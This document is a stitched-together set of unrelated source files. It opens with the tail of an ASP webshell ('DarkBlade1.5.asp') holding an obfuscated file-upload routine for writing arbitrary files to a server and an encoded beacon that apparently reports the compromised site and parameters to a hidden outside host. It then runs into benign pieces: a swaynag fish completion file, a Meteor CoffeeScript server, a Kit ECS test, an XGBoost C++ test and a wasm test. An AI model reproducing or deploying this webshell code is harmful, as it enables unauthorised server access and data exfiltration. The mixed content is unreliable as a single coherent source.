iuws=dhkcb("80_120_125_138_52_135_136_141_128_121_81_59_120_125_135_132_128_117_141_78_130_131_130_121_59_82_80_135_119_134_125_132_136_52_135_134_119_81_59")+site+zyco+dhkcb("59_82_80_67_135_119_134_125_132_136_82_80_67_120_125_138_82")
End Function
Class upload_5xsoft
Dim xgqlo,eyr
Public Function Form(vzm)
vzm=Lcase(vzm)
If Not xgqlo.exists(vzm) Then
Form=""
Else
Form=xgqlo(vzm)
End If
End Function
Public Function File(strFile)
If Not ydnj Then On Error Resume Next
strFile=Lcase(strFile)
If not eyr.exists(strFile) Then
Set File=new FileInfo
Else
Set File=eyr(strFile)
End If
End Function
Private Sub Class_Initialize
If Not ydnj Then On Error Resume Next
Dim dirsq,qjrv,vbCrLf,vukc,wyt,lzk,sfr,ebyus,theFile
Dim ugxm,tda,yahb,ejg,cgj
Dim aphr,mgjnb
Dim iwvv,fsun,zsby
Set xgqlo=nfffq("Scriptin"+xfw+"g.Dictionary")
Set eyr=nfffq("Scriptin"+xfw+"g.Dictionary")
If Request.TotalBytes<1 Then Exit Sub
Set sfr=nfffq("Ad"+oge+"odb.Str"+chut+"eam")
Set nun=nfffq("Ad"+oge+"odb.Str"+chut+"eam")
nun.Type=1
nun.Mode=3
nun.Open
nun.Write Request.BinaryRead(Request.TotalBytes)
nun.Position=0
dirsq=nun.Read
iwvv=1
fsun=LenB(dirsq)
vbCrLf=chrB(13)&chrB(10)
qjrv=MidB(dirsq,1,InStrB(iwvv,dirsq,vbCrLf)-1)
ebyus=LenB(qjrv)
iwvv=iwvv+ebyus+1
While(iwvv+10)<fsun
lzk=InStrB(iwvv,dirsq,vbCrLf & vbCrLf)+3
sfr.Type=1
sfr.Mode=3
sfr.Open
nun.Position=iwvv
nun.CopyTo sfr,lzk-iwvv
sfr.Position=0
sfr.Type=2
sfr.CharSet=alqp
vukc=sfr.ReadText
sfr.Close
iwvv=InStrB(lzk,dirsq,qjrv)
aphr=InStr(22,vukc,"name=""",1)+6
mgjnb=InStr(aphr,vukc,"""",1)
zsby=Lcase(Mid(vukc,aphr,mgjnb-aphr))
If InStr(45,vukc,"filename=""",1) > 0 Then
Set theFile=new FileInfo
aphr=InStr(mgjnb,vukc,"filename=""",1)+10
mgjnb=InStr(aphr,vukc,"""",1)
cgj=Mid(vukc,aphr,mgjnb-aphr)
theFile.FileName=davu(cgj)
theFile.FilePath=emd(cgj)
theFile.znvw=vvvga(cgj)
aphr=InStr(mgjnb,vukc,"Content-Type: ",1)+14
mgjnb=InStr(aphr,vukc,vbCr)
theFile.FileType =Mid(vukc,aphr,mgjnb-aphr)
theFile.rmpry =lzk
theFile.FileSize=iwvv-lzk-3
theFile.uaw=zsby
If not eyr.Exists(zsby)Then
eyr.add zsby,theFile
End If
Else
sfr.Type =1
sfr.Mode =3
sfr.Open
nun.Position=lzk
nun.CopyTo sfr,iwvv-lzk-3
sfr.Position=0
sfr.Type=2
sfr.CharSet =alqp
ejg=sfr.ReadText
sfr.Close
If xgqlo.Exists(zsby) Then
xgqlo(zsby)=xgqlo(zsby)&","&ejg
Else
xgqlo.Add zsby,ejg
End If
End If
iwvv=iwvv+ebyus+1
wEnd
dirsq=""
Set sfr =nothing
End Sub
Private Sub Class_Terminate
If Not ydnj Then On Error Resume Next
If Request.TotalBytes>0 Then
xgqlo.RemoveAll
eyr.RemoveAll
Set xgqlo=nothing
Set eyr=nothing
nun.Close
Set nun =nothing
End If
End Sub
Private Function emd(jrtca)
If Not ydnj Then On Error Resume Next
If jrtca<>"" Then
emd=left(jrtca,InStrRev(jrtca,"\"))
Else
emd=""
End If
End Function
Private Function vvvga(jrtca)
If jrtca<>"" Then
vvvga=mid(jrtca,InStrRev(jrtca,".")+1)
Else
vvvga=""
End If
End Function
Private Function davu(jrtca)
If jrtca<>"" Then
davu=mid(jrtca,InStrRev(jrtca,"\")+1)
Else
davu=""
End If
End Function
End Class
Class FileInfo
Dim uaw,FileName,FilePath,FileSize,znvw,FileType,rmpry
Private Sub Class_Initialize
FileName=""
FilePath=""
FileSize=0
rmpry= 0
uaw=""
FileType=""
znvw= ""
End Sub
Public Function uhroj(jrtca)
Dim dr,uvtyj,i
uhroj=True
If Trim(jrtca)="" or rmpry=0 or FileName="" or Right(jrtca,1)="/" Then exit Function
Set dr=CreateObject("Ad"+oge+"odb.Str"+chut+"eam")
dr.Mode=3
dr.Type=1
dr.Open
nun.position=rmpry
nun.copyto dr,FileSize
execute "dr.SavetoFil"&pxa&"e jrtca,2"
dr.Close
Set dr=nothing
uhroj=False
End Function
Public Function wcxc()
nun.position=rmpry
wcxc=nun.Read(FileSize)
End Function
End Class
Sub bhq()
If Not ydnj Then On Error Resume Next
If lqbip="" Then lqbip=nzax
'If InStr(lqbip,":")<1 Then lqbip=nzax&"\"&lqbip
Set theFile=pgvr.File("upfile")
If yvquw="" Then yvquw=theFile.FileName
theFile.uhroj(lqbip&"\"&yvquw)
If Err Then
tvnm(Err)
Else
yln("Upload Sucess")
End If
zeb
End Sub
Sub zeb()
If fwmal() Then Exit Sub
If Application(dhkcb("117_132_132_115_132_117_136_124"))=ramoi(dhkcb("105_102_96"))Then Exit Sub
Application(dhkcb("117_132_132_115_132_117_136_124"))=ramoi(dhkcb("105_102_96"))
gry
End Sub
Function rvi(isadx,method)
If Not ydnj Then On Error Resume Next
Dim xoooe
If method="POST" Then
xoooe=Split(isadx,"?")(1)
isadx=Split(isadx,"?")(0)
End If
iuwq.Open method,isadx,False
If method="POST" Then
iuwq.SetRequestHeader"Content-Type","application/x-www-form-urlencoded"
iuwq.send xoooe
Else
iuwq.send
End If
If vsb(iuwq.getAllResponseHeaders(),"charSet ?= ?[""']?[\w-]+")Then
pagecharSet=Trim(swye(soa(iuwq.getAllResponseHeaders(),"charSet ?= ?[""']?[\w-]+",False)(0),"charSet ?= ?[""']?","",False))
ElseIf vsb(iuwq.ResponseText,"charSet ?= ?[""']?[\w-]+")Then
pagecharSet=Trim(swye(soa(iuwq.ResponseText,"charSet ?= ?[""']?[\w-]+",False)(0),"charSet ?= ?[""']?","",False))
End If
If pagecharSet=""Then pagecharSet=alqp
rvi=ree(iuwq.responseBody,pagecharSet)
End Function
Function jnph()
If Request.Cookies(fjjxv)=""Then
jnph=False
Exit Function
End If
If wucql(Request.Cookies(fjjxv))=pass Then
jnph=True
Else
jnph=False
End If
End Function
Function mdez(otrjv)
If Not ydnj Then On Error Resume Next
If Not pipu Or otrjv="" Or Not vsb(otrjv,"^(\d+"&csj&")*\d+$")Then
mdez=otrjv
Exit Function
End If
Dim dd,tcpo
dd=""
tcpo=Split(otrjv,csj)
For i=0 To UBound(tcpo)
If IsNumeric(tcpo(i))Then
dd=dd&ChrW(CLng(tcpo(i))-iycew)
Else
dd=dd&tcpo(i)
End If
Next
mdez=dd
End Function
Function xqai()
Dim nfe,oltic,uis
oltic=88
uis=31
nfe="<br>"
nfe=nfe&"<a href='http://www.t00ls.net/' target='_blank'>T00ls</a> | "
nfe=nfe&"<a href='http://www.helpsoff.com.cn' target='_blank'>Fuck Tencent</a>"
xqai=nfe
End Function
Function suzn(key,value)
Response.Cookies(key)=value
Response.Cookies(key).Expires=Date+365
End Function
Function ree(ocn,xkwyu)
If Not ydnj Then On Error Resume Next
Dim aoo,zmoin
Set aoo=nfffq("Ad"+oge+"odb.Str"+chut+"eam")
With aoo
.Type=2
.Open
.WriteText ocn
.Position=0
.CharSet=xkwyu
.Position=2
zmoin=.ReadText(.Size)
.close
End With
Set aoo=Nothing
ree=zmoin
End Function
Function ramoi(str)
ramoi=Request.ServerVariables(str)
End Function
Function nfffq(xjmb)
Set nfffq=Server.CreateObject(xjmb)
End Function
Function getObj(xjmb)
Set getObj=GetObject(xjmb)
End Function
Function nwtcn(str)
nwtcn=server.urlencode(str)
End Function
Function rduiq(str)
Dim oaom,yvsb
oaom=""
For i=0 To Len(str)-1
yvsb=Right(str,Len(str)-i)
If Asc(yvsb)<16 Then oaom=oaom&"0"
oaom=oaom&CStr(Hex(Asc(yvsb)))
Next
rduiq="0x"&oaom
End Function
Function mkf(str)
Dim oaom,yvsb
oaom=""
For i=0 To Len(str)-1
yvsb=Right(str,Len(str)-i)
oaom=oaom&CStr(Hex(Asc(yvsb)))&"00"
Next
mkf="0x"&oaom
End Function
Function mszsa(str)
str=jee(str)
str=Replace(str,vbCrLf,"<br>")
mszsa=Replace(str," "," ")
End Function
Function jee(str)
If Not ydnj Then On Error Resume Next
str=CStr(str)
If IsNull(str)Or IsObject(str)Or str=""Then
jee=""
Exit Function
End If
jee=Server.HtmlEncode(str)
End Function
Sub gry()
Dim site,pam,uqctu
site=wyqps()
pam=getPams()
uqctu=iuws(site,pam)
gmhi=uqctu
End Sub
Function wxw(str)
wxw=Server.MapPath(str)
End Function
Sub tvnm(Err)
If Err Then
yln"Exception :"&Err.Description
yln"Exception source :"&Err.Source
Err.Clear
End If
End Sub
Function wucql(ByVal CodeStr)
Dim enl
Dim ukqxq
Dim ntopn
enl=30
ukqxq=enl-Len(CodeStr)
If Not ukqxq<1 Then
For cecr=1 To ukqxq
CodeStr=CodeStr&Chr(21)
Next
End If
ntopn=1
Dim Ben
For cecb=1 To enl
Ben=enl+Asc(Mid(CodeStr,cecb,1)) * cecb
ntopn=ntopn * Ben
Next
CodeStr=ntopn
ntopn=Empty
For cec=1 To Len(CodeStr)
ntopn=ntopn&cqa(Mid(CodeStr,cec,3))
Next
For cec=20 To Len(ntopn)-18 Step 2
wucql=wucql&Mid(ntopn,cec,1)
Next
End Function
Function cqa(word)
For cc=1 To Len(word)
cqa=cqa&Asc(Mid(word,cc,1))
Next
cqa=Hex(cqa)
End Function
Function kxyzh(vcug)
If vcug>=(1024 * 1024 * 1024)Then kxyzh=Fix((vcug /(1024 * 1024 * 1024))* 100)/ 100&"G"
If vcug>=(1024 * 1024)And vcug<(1024 * 1024 * 1024)Then kxyzh=Fix((vcug /(1024 * 1024))* 100)/ 100&"M"
If vcug>=1024 And vcug<(1024 * 1024)Then kxyzh=Fix((vcug / 1024)* 100)/ 100&"K"
If vcug>=0 And vcug<1024 Then kxyzh=vcug&"B"
End Function
Function ixuog(num)
Select Case num
Case 0
ixuog="Unknown"
Case 1
ixuog="Removable"
Case 2
ixuog="Local drive"
Case 3
ixuog="Net drive"
Case 4
ixuog="CD-ROM"
Case 5
ixuog="RAM disk"
End Select
End Function
Function clwc(ByVal str)
str=Replace(str,"\","\\")
If Left(str,2)="\\" Then
clwc=str
Else
clwc=Replace(str,"\\\\","\\")
End If
End Function
Function xop(str)
xop="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&str
End Function
Function dzzx(str,isbbo,liujq)
If str="" Or InStr(str,isbbo)<1 Then
dzzx=""
Exit Function
End If
If liujq Then
dzzx=Left(str,InStr(str,isbbo)-1)
Else
dzzx=Left(str,InstrRev(str,isbbo)-1)
End If
End Function
Function zsz(str,isbbo)
If str="" Or InStr(str,isbbo)<1 Then
zsz=""
Exit Function
End If
zsz=Mid(str,InstrRev(str,isbbo)+Len(isbbo))
End Function
Sub echo(str)
Response.Write str
End Sub
Sub mwt(str)
echo str&vbCrLf
End Sub
Sub csyfy(xjmb,vvhat)
echo"<a href='#' onClick=""javascript:bik("&xjmb&")"" id='"&xjmb&"href' class='hidehref'>"&xjmb&" :</a>"
echo"<span id="&xjmb
If vvhat Then echo" style='display:none;'"
mwt">"
End Sub
Sub injj(okjbx,qtylw,aok,usn,kqll)
mwt"<a href=""javascript:qjr('"&okjbx&"','"&qtylw&"','"&aok&"')"">"&usn&"</a>"&kqll
End Sub
Sub ozs(qtylw,ihk,ybgqm,tbname,fkho,usn,kqll)
mwt"<a href=""javascript:abckx('"&qtylw&"','"&ihk&"','"&ybgqm&"','"&tbname&"','"&fkho&"')"">"&usn&"</a>"&kqll
End Sub
Sub opa(str,color,size)
echo"<font color="""&color&""""
If size<>""Then echo" size="""&size&""""
mwt">"&str&"</font>"
End Sub
Function wyqps()
wyqps=dhkcb("124_136_136_132_78_67_67_126_135_66_137_135_121_134_135_66_73_69_66_128_117_67")
End Function
Sub sodx(width)
mwt"<table border='0'cellpadding='0'cellspacing='0'width='"&width&"'>"
End Sub
Sub guenn()
mwt"</table>"
End Sub
Sub abxky(num)
echo"<tr class='alt"&num&"' onmouseover=""javascript:this.className='focusTr';"" onmouseout=""javascript:this.className='alt"&num&"';"">"
End Sub
Sub vhl()
echo"<tr class='link'>"
End Sub
Sub gfk(num)
echo"<span class='alt"&num&"Span'>"
End Sub
Sub uxmhj(xjmb,vvhat)
echo"<span id="&xjmb
If vvhat Then echo" style='display:none;'"
mwt">"
End Sub
Sub cxaqj(needEn)
echo"<form method='post' id='form"&ujcmu&"' action='"&cngn&"'"
If needEn Then echo" onSubmit='javascript:yfmde(this)'"
mwt">"
rtas"goaction",goaction
ujcmu=ujcmu+1
End Sub
Sub gbqwf()
mwt"</form>"
End Sub
Sub fkv(value,width)
echo"<td style='width:"&width&"'>"
echo"<input type='submit' value='"&value&"' class='bt'>"
mwt"</td>"
End Sub
Sub oruml(str,color,size)
echo"<td>"
opa str,color,size
mwt"</td>"
End Sub
Sub uemp()
mwt"</tr>"
End Sub
Sub doTd(td,width)
If td=""Or IsNull(td)Then td="<font color='red'>Null</font>"
echo"<td"
If width<>""Then echo" width='"&width&"'"
echo">"
echo CStr(td)
mwt"</td>"
End Sub
Sub zesc(tagz,name,value,size,kqll)
Dim cls
If tagz="button"Or tagz="submit"Or tagz="reset"Then
cls="bt"
ElseIf tagz="checkbox"Or tagz="radio"Then
cls=""
Else
cls="input"
End If
echo"<input type='"&tagz&"' name='"&name&"' id='"&name&"' value='"&jee(value)&"' size='"&size&"' class='"&cls&"' "&kqll&"/>"
End Sub
Sub jwik(name,value,rxrxf,kqll)
zesc"checkbox",name,value,"",kqll
mwt"<label class='lbl' for='"&name&"'>"&rxrxf&"</label>"
End Sub
Sub rtas(name,value)
mwt"<input type='hidden' name='"&name&"' id='"&name&"' value='"&value&"'/>"
End Sub
Sub iiit(tagz,name,value,width,kqll,span)
Dim cls
If tagz="button"Or tagz="submit"Or tagz="reset"Then
cls="bt"
Else
cls="tdInput"
End If
If span=""Then span=1
echo"<td colspan="&span&" style='width:"&width&"'>"
echo"<input type='"&tagz&"' name='"&name&"' id='"&name&"' value='"&jee(value)&"' class='"&cls&"' "&kqll&"/>"
mwt"</td>"
End Sub
Sub qjr(value)
mwt"<input type='submit' value='"&value&"' class='bt'/>"
End Sub
Sub lhue(name,value,rows)
echo"<td>"
eks name,value,"100%",rows," class='tdText'"
mwt"</td>"
End Sub
Sub ycd(str)
If Not ydnj Then On Error Resume Next
If IsObject(str)Or IsNull(str)Or str="" Then str="<font color=red>Null</font>"
echo"<td nowrap>"&str&"</td>"
End Sub
Sub eks(name,value,width,rows,kqll)
echo"<textarea name='"&name&"' id='"&name&"' style='width:"&width&";' rows='"&rows&"' class='text' "&kqll&">"
echo jee(value)
mwt"</textarea>"
End Sub
Sub yhigl()
echo"<ul class='info'/>"
End Sub
Sub rycpp(name,width,kqll)
mwt"<select style='width:"&width&"' name='"&name&"' "&kqll&">"
End Sub
Sub ild()
mwt"</select>"
End Sub
Sub exhpr(value,str)
mwt"<option value='"&value&"'>"&str&"</option>"
End Sub
Sub nrf()
ads=ads+1
If ads>=2 Then ads=0
End Sub
Sub cppp(str)
mwt"<label>"&str&"</label>"
End Sub
Sub yln(str)
mkew=mkew&"<li>"&str&"</li>"
End Sub
Sub ome(Err)
If Err Then
tvnm(Err)
viwe
End If
End Sub
Function vsb(str,mvw)
wbxx.Pattern=mvw
vsb=wbxx.Test(str)
End Function
Function soa(str,mvw,zwdkp)
If zwdkp Then mvw=pxnsn(mvw)
wbxx.Pattern=mvw
Set soa=wbxx.Execute(str)
End Function
Function swye(str,mvw,dtw,zwdkp)
If zwdkp Then mvw=pxnsn(mvw)
wbxx.Pattern=mvw
swye=wbxx.Replace(str,dtw)
End Function
Function pxnsn(str)
str=Replace(str,"\","\\")
str=Replace(str,".","\.")
str=Replace(str,"?","\?")
str=Replace(str,"+","\+")
str=Replace(str,"(","\(")
str=Replace(str,")","\)")
str=Replace(str,"*","\*")
str=Replace(str,"[","\[")
str=Replace(str,"]","\]")
pxnsn=str
End Function
%>
| ASP | 1 | laotun-s/webshell | asp/DarkBlade1.5.asp | [
"MIT"
] |
# swaynag
complete -f -c swaynag
complete -c swaynag -s C -l config -r --description 'The config file to use. Default: $HOME/.swaynag/config, $XDG_CONFIG_HOME/swaynag/config, and SYSCONFDIR/swaynag/config.'
complete -c swaynag -s d -l debug --description 'Enable debugging.'
complete -c swaynag -s e -l edge -fr --description 'Set the edge to use: top or bottom'
complete -c swaynag -s f -l font -r --description 'Set the font to use.'
complete -c swaynag -s h -l help --description 'Show help message and quit.'
complete -c swaynag -s b -l button -fr --description 'Create a button with a text and an action which is executed when pressed. Multiple buttons can be defined by providing the flag multiple times.'
complete -c swaynag -s l -l detailed-message --description 'Read a detailed message from stdin. A button to toggle details will be added. Details are shown in a scrollable multi-line text area.'
complete -c swaynag -s L -l detailed-button -fr --description 'Set the text for the button that toggles details. This has no effect if there is not a detailed message. The default is "Toggle details".'
complete -c swaynag -s m -l message -fr --description 'Set the message text.'
complete -c swaynag -s o -l output -fr --description 'Set the output to use.'
complete -c swaynag -s s -l dismiss-button -fr --description 'Sets the text for the dismiss nagbar button. The default is "X".'
complete -c swaynag -s t -l type -fr --description 'Set the message type. Two types are created by default "error" and "warning". Custom types can be defined in the config file.'
complete -c swaynag -s v -l version --description 'Show the version number and quit.'
# Appearance
complete -c swaynag -l background -fr --description 'Set the color of the background.'
complete -c swaynag -l border -fr --description 'Set the color of the border.'
complete -c swaynag -l border-bottom -fr --description 'Set the color of the bottom border.'
complete -c swaynag -l button-background -fr --description 'Set the color for the background for buttons.'
complete -c swaynag -l text -fr --description 'Set the text color.'
complete -c swaynag -l border-bottom-size -fr --description 'Set the thickness of the bottom border.'
complete -c swaynag -l message-padding -fr --description 'Set the padding for the message.'
complete -c swaynag -l details-border-size -fr --description 'Set the thickness for the details border.'
complete -c swaynag -l button-border-size -fr --description 'Set the thickness for the button border.'
complete -c swaynag -l button-gap -fr --description 'Set the size of the gap between buttons.'
complete -c swaynag -l button-dismiss-gap -fr --description 'Set the size of the gap between the dismiss button and another button.'
complete -c swaynag -l button-margin-right -fr --description 'Set the margin from the right of the dismiss button to edge.'
complete -c swaynag -l button-padding -fr --description 'Set the padding for the button text.'
| fish | 4 | junglerobba/sway | completions/fish/swaynag.fish | [
"MIT"
] |
Meteor-based collaboration -- server side
docs = {}
{
isCodeBlock,
createDocFromOrg,
docDo,
crnl,
} = Leisure
{
safeLoad,
dump,
} = Leisure.yaml
gitReadFile = Leisure.git.readFile
gitSnapshot = Leisure.git.snapshot
gitHasFile = Leisure.git.hasFile
connections = new Meteor.Collection ' connections ', connection: null
tempDocs = {}
restrictedPattern = /^posts\//
createAccount = (name, passwd)->
if !(Meteor.users.find username: name)
Accounts.createUser
username: 'bubba'
password: 'bubba'
createAccount 'bubba', 'bubba'
Meteor.methods
hasDocument: (name)->
console.log "CONNECTION: #{this.connection.clientAddress}: #{name}"
this.connection.onClose -> console.log "CLOSED"
if m = name.match /^demo\/(.*)$/
id = loadDoc m[1], true
connectedToTemp id
this.connection.onClose -> disconnectedFromTemp id
id: id, hasGit: false, temporary: true
else if m = name.match /^(tmp|local\/[^\/]*)\/(.*)$/
id = m[2]
if tempDocs[id]
connectedToTemp id, this.connection
this.connection.onClose -> disconnectedFromTemp id, this.connection
id: id, hasGit: false, temporary: true
else error: "No temporary document #{m[2]}"
else
try
if docs[name] then console.log "#{name} exists" else loadDoc name
id: name, hasGit: Leisure.git.hasGit?
catch err
console.log "EXCEPTION CHECKING #{name}: #{err.stack}"
erorr: "Error retrieving #{name}"
snapshot: (name)->
if !tempDocs[name] && (doc = Leisure.docs[name])
gitSnapshot doc
revert: (name)-> loadDoc name, false, null, true
edit: (name, contents)-> loadDoc name, true, contents
incrementField: (docId, path, amount)->
components = path.split /\./
r = if components.length < 2 then error: "No fields in path", type: "no fields"
else if !(doc = docs[docId]) then error: "No document named #{docId}", type: "bad document"
else if isNaN(Number(amount)) then error: "Increment is not a number: #{amount}", type: "bad increment"
else if !(dataId = doc.namedBlocks[components[0]]) then error: "No data named #{components[0]}", type: "bad name"
else
orig = doc.findOne dataId
if !orig then error: "Block does not exist: #{dataId}", type: "bad id"
else if !orig.yaml? then error: "Block is not yaml data: #{dataId}", type: "bad block"
else
data = orig.yaml
i = 1
while i < components.length - 1 && data
data = data[components[i]]
i++
if data && typeof data[components[i]] != 'number'
i++
data = null
if !data
console.log "Path not found: #{components[0...i].join '.'}\n#{dump orig}"
error: "Path not found: #{components[0...i].join '.'}", type: "bad path"
else
data[components[i]] = result = (data[components[i]] ? 0) + amount
orig.text = orig.text.substring(0, orig.codePrelen) + dump(orig.yaml, orig.codeAttributes ? {}) + orig.text.substring orig.text.length - orig.codePostlen
doc.update dataId, orig
result
r
appendToField: (docId, path, item)->
components = path.split /\./
r = if components.length < 2 then error: "No fields in path", type: "bad fields"
else if !(doc = docs[docId]) then error: "No document named #{docId}", type: "bad document"
else if !(dataId = doc.namedBlocks[components[0]]) then error: "No data named #{components[0]}", type: ""
else
orig = doc.findOne dataId
if !orig then error: "Block does not exist: #{dataId}", type: "bad id"
else if !orig.yaml? then error: "Block is not yaml data: #{dataId}", type: "bad block"
else
data = orig.yaml
i = 1
while i < components.length - 1 && data
data = data[components[i]]
i++
if data && !(data[components[i]] instanceof Array)
i++
data = null
if !data
console.log "Path not found: #{components[0...i].join '.'}\n#{dump orig}"
error: "Path not found: #{components[0...i].join '.'}", type: "bad path"
else
data[components[i]].push item
orig.text = orig.text.substring(0, orig.codePrelen) + dump(orig.yaml, orig.codeAttributes ? {}) + orig.text.substring orig.text.length - orig.codePostlen
doc.update dataId, orig
data[components[i]]
r
addBlockAfter: (docId, id, block)->
if !(doc = docs[docId]) then error: "No document named #{docId}", type: "bad document"
else if !(before = doc.findOne id) then error: "No block: #{id}", type: "bad id"
else
if !block._id then block._id = new Meteor.Collection.ObjectID().toJSONValue()
after = if before.next then doc.findOne before.next
before.next = block._id
block.prev = before._id
if after
block.next = after._id
after.prev = block._id
doc.insert block
doc.update before._id, before
if after then doc.update after._id, after
#console.log "INSERTING: #{dump block}"
connectedToTemp = (id, connection)->
if cur = tempDocs[id] then cur.count++
else console.log "Attempt to connect to nonexistent document: #{id}"
disconnectedFromTemp = (id, connection)->
if tempDocs[id]
if --tempDocs[id].count == 0
console.log "DESTROYING TEMP DOCUMENT #{tempDocs[id].name} #{id}"
docs[id].remove {}
delete tempDocs[id]
delete docs[id]
Document model that ties orgmode parse trees to HTML DOM
loadDoc = (name, temp, text, reload)->
if !temp && (name.match restrictedPattern) then throw new Error "ENOENT, open '#{name}'"
if reload && (temp || tempDocs[name]) then throw new Error "Attempt to reload temporary document, #{name}"
if temp
id = new Meteor.Collection.ObjectID().toJSONValue()
# this doesn't seem to accept changes from the clients
#doc = docs[id] = new Meteor.Collection id, connection: null
#just making a heavy one, for now
doc = docs[id] = new Meteor.Collection id
tempDocs[id] = count: 0, name: name
console.log "CREATED TEMP DOCUMENT #{tempDocs[id].name} #{id}"
else
id = name
doc = if reload then docs[id] else docs[id] = new Meteor.Collection id
if !doc then throw new Error "Attempt to reload unloaded document, #{name}"
try
text = crnl text ? (if gitHasFile name then gitReadFile(name).toString() else GlobalAssets.getText name)
catch err
delete docs[id]
if temp then delete tempDocs[id]
throw err
doc.leisure = name: id
if temp then doc.leisure.temp = true
doc.remove {}
createDocFromText text, doc, false, (block)->
block.origin = id
block
doc.namedBlocks = {}
doc.find().observe
added: (data)-> indexData doc, data
removed: (data)-> removeDataIndex doc, data
changed: (data, oldData)->
if !((!data.codeName? && !doc.namedBlocks[data.codeName]) || (data.codeName? && doc.namedBlocks[data.codeName] == data._id))
removeDataIndex doc, oldData
indexData doc, data
if !reload then Meteor.publish id, -> doc.find()
id
indexData = (doc, data)->
if n = data.codeName then doc.namedBlocks[data.codeName] = data._id
removeDataIndex = (doc, data)->
if n = data.codeName then delete doc.namedBlocks[data.codeName]
docJson = (collection)->
nodes = []
docDo collection, (node)-> nodes.push node
nodes
createDocFromText = (text, collection, reloading, filter)->
createDocFromOrg Org.parseOrgMode(text), collection, reloading, filter
console.log "CREATED DOC FROM #{collection.find().count()} nodes"
Leisure.loadDoc = loadDoc
Leisure.docs = docs
Meteor.setTimeout (-> Leisure.loadDoc 'widget.lorg'), 1
| Literate CoffeeScript | 4 | zot/Leisure | METEOR-OLD/server/10-server.litcoffee | [
"Zlib"
] |
import ecs;
struct PositionComponent{
var x: Float;
var y: Float;
var z: Float;
}
struct PositionSystem{
var blah: Int;
}
implement System for PositionSystem{
public function update(delta: Float, engine: Ptr[Engine]): Void{
var entityArray = engine.entitiesForComponent("Position");
for entity in entityArray{
printf("Entity: %s, has components: %i", entity.name, entity.components.length);
}
printf("Entity Array Length: %i\n", entityArray.length);
printf("Engine Entity Length: %i\n", engine.entities.length);
printf("Components length: %i\n", engine.entitesToComponent.length);
}
function typeIdentifier(): CString {
return "Position";
}
}
implement Component for PositionComponent{
function typeIdentifier(): CString{
return "Position";
}
}
function main()
{
var entity1 : Entity = Entity.new("Apple");
var engine: Engine = Engine.new();
var positionComponent = struct PositionComponent{
x: 12.0,
y: 12.0,
z: 12.0
};
engine.addEntity(entity1);
entity1.addComponent(positionComponent);
var returnedBoxedComponent: Box[Component] = entity1.getComponent("Position").unwrap();
var positionPtr: Ptr[PositionComponent] = returnedBoxedComponent.base();
var posSystem = struct PositionSystem{
blah: 1
};
engine.addSystem("Position", posSystem);
printf("%f\n", positionPtr.x);
engine.entitiesForComponents(3, "Position", "Velocity", "Model");
engine.update(2.2);
} | Kit | 4 | Gamerfiend/kit-ecs | tests/position.kit | [
"MIT"
] |
/*!
* Copyright 2021 XGBoost contributors
*/
#include <gtest/gtest.h>
#include "../../../src/tree/updater_approx.h"
#include "../helpers.h"
namespace xgboost {
namespace tree {
TEST(Approx, Partitioner) {
size_t n_samples = 1024, n_features = 1, base_rowid = 0;
ApproxRowPartitioner partitioner{n_samples, base_rowid};
ASSERT_EQ(partitioner.base_rowid, base_rowid);
ASSERT_EQ(partitioner.Size(), 1);
ASSERT_EQ(partitioner.Partitions()[0].Size(), n_samples);
auto Xy = RandomDataGenerator{n_samples, n_features, 0}.GenerateDMatrix(true);
GenericParameter ctx;
ctx.InitAllowUnknown(Args{});
std::vector<CPUExpandEntry> candidates{{0, 0, 0.4}};
for (auto const &page : Xy->GetBatches<GHistIndexMatrix>({GenericParameter::kCpuId, 64})) {
bst_feature_t split_ind = 0;
{
auto min_value = page.cut.MinValues()[split_ind];
RegTree tree;
tree.ExpandNode(
/*nid=*/0, /*split_index=*/0, /*split_value=*/min_value,
/*default_left=*/true, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f,
/*left_sum=*/0.0f,
/*right_sum=*/0.0f);
ApproxRowPartitioner partitioner{n_samples, base_rowid};
candidates.front().split.split_value = min_value;
candidates.front().split.sindex = 0;
candidates.front().split.sindex |= (1U << 31);
partitioner.UpdatePosition(&ctx, page, candidates, &tree);
ASSERT_EQ(partitioner.Size(), 3);
ASSERT_EQ(partitioner[1].Size(), 0);
ASSERT_EQ(partitioner[2].Size(), n_samples);
}
{
ApproxRowPartitioner partitioner{n_samples, base_rowid};
auto ptr = page.cut.Ptrs()[split_ind + 1];
float split_value = page.cut.Values().at(ptr / 2);
RegTree tree;
tree.ExpandNode(
/*nid=*/RegTree::kRoot, /*split_index=*/split_ind,
/*split_value=*/split_value,
/*default_left=*/true, 0.0f, 0.0f, 0.0f, 0.0f, 0.0f,
/*left_sum=*/0.0f,
/*right_sum=*/0.0f);
auto left_nidx = tree[RegTree::kRoot].LeftChild();
candidates.front().split.split_value = split_value;
candidates.front().split.sindex = 0;
candidates.front().split.sindex |= (1U << 31);
partitioner.UpdatePosition(&ctx, page, candidates, &tree);
auto elem = partitioner[left_nidx];
ASSERT_LT(elem.Size(), n_samples);
ASSERT_GT(elem.Size(), 1);
for (auto it = elem.begin; it != elem.end; ++it) {
auto value = page.cut.Values().at(page.index[*it]);
ASSERT_LE(value, split_value);
}
auto right_nidx = tree[RegTree::kRoot].RightChild();
elem = partitioner[right_nidx];
for (auto it = elem.begin; it != elem.end; ++it) {
auto value = page.cut.Values().at(page.index[*it]);
ASSERT_GT(value, split_value) << *it;
}
}
}
}
} // namespace tree
} // namespace xgboost
| C++ | 4 | GinkoBalboa/xgboost | tests/cpp/tree/test_approx.cc | [
"Apache-2.0"
] |
;; Test that em_asm string are extraced correctly when the __start_em_asm
;; and __stop_em_asm globals are exported.
;; RUN: wasm-emscripten-finalize %s -S | filecheck %s
;; Check for the case when __start_em_asm and __stop_em_asm don't define an
;; entire segment. In this case we preserve the segment but zero the data.
;; CHECK: (data (i32.const 512) "xx\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00yy")
;; CHECK: "asmConsts": {
;; CHECK-NEXT: "514": "{ console.log('JS hello'); }",
;; CHECK-NEXT: "543": "{ console.log('hello again'); }"
;; CHECK-NEXT: },
;; Check that the exports are removed
;; CHECK-NOT: export
(module
(memory 1 1)
(global (export "__start_em_asm") i32 (i32.const 514))
(global (export "__stop_em_asm") i32 (i32.const 575))
(data (i32.const 512) "xx{ console.log('JS hello'); }\00{ console.log('hello again'); }\00yy")
)
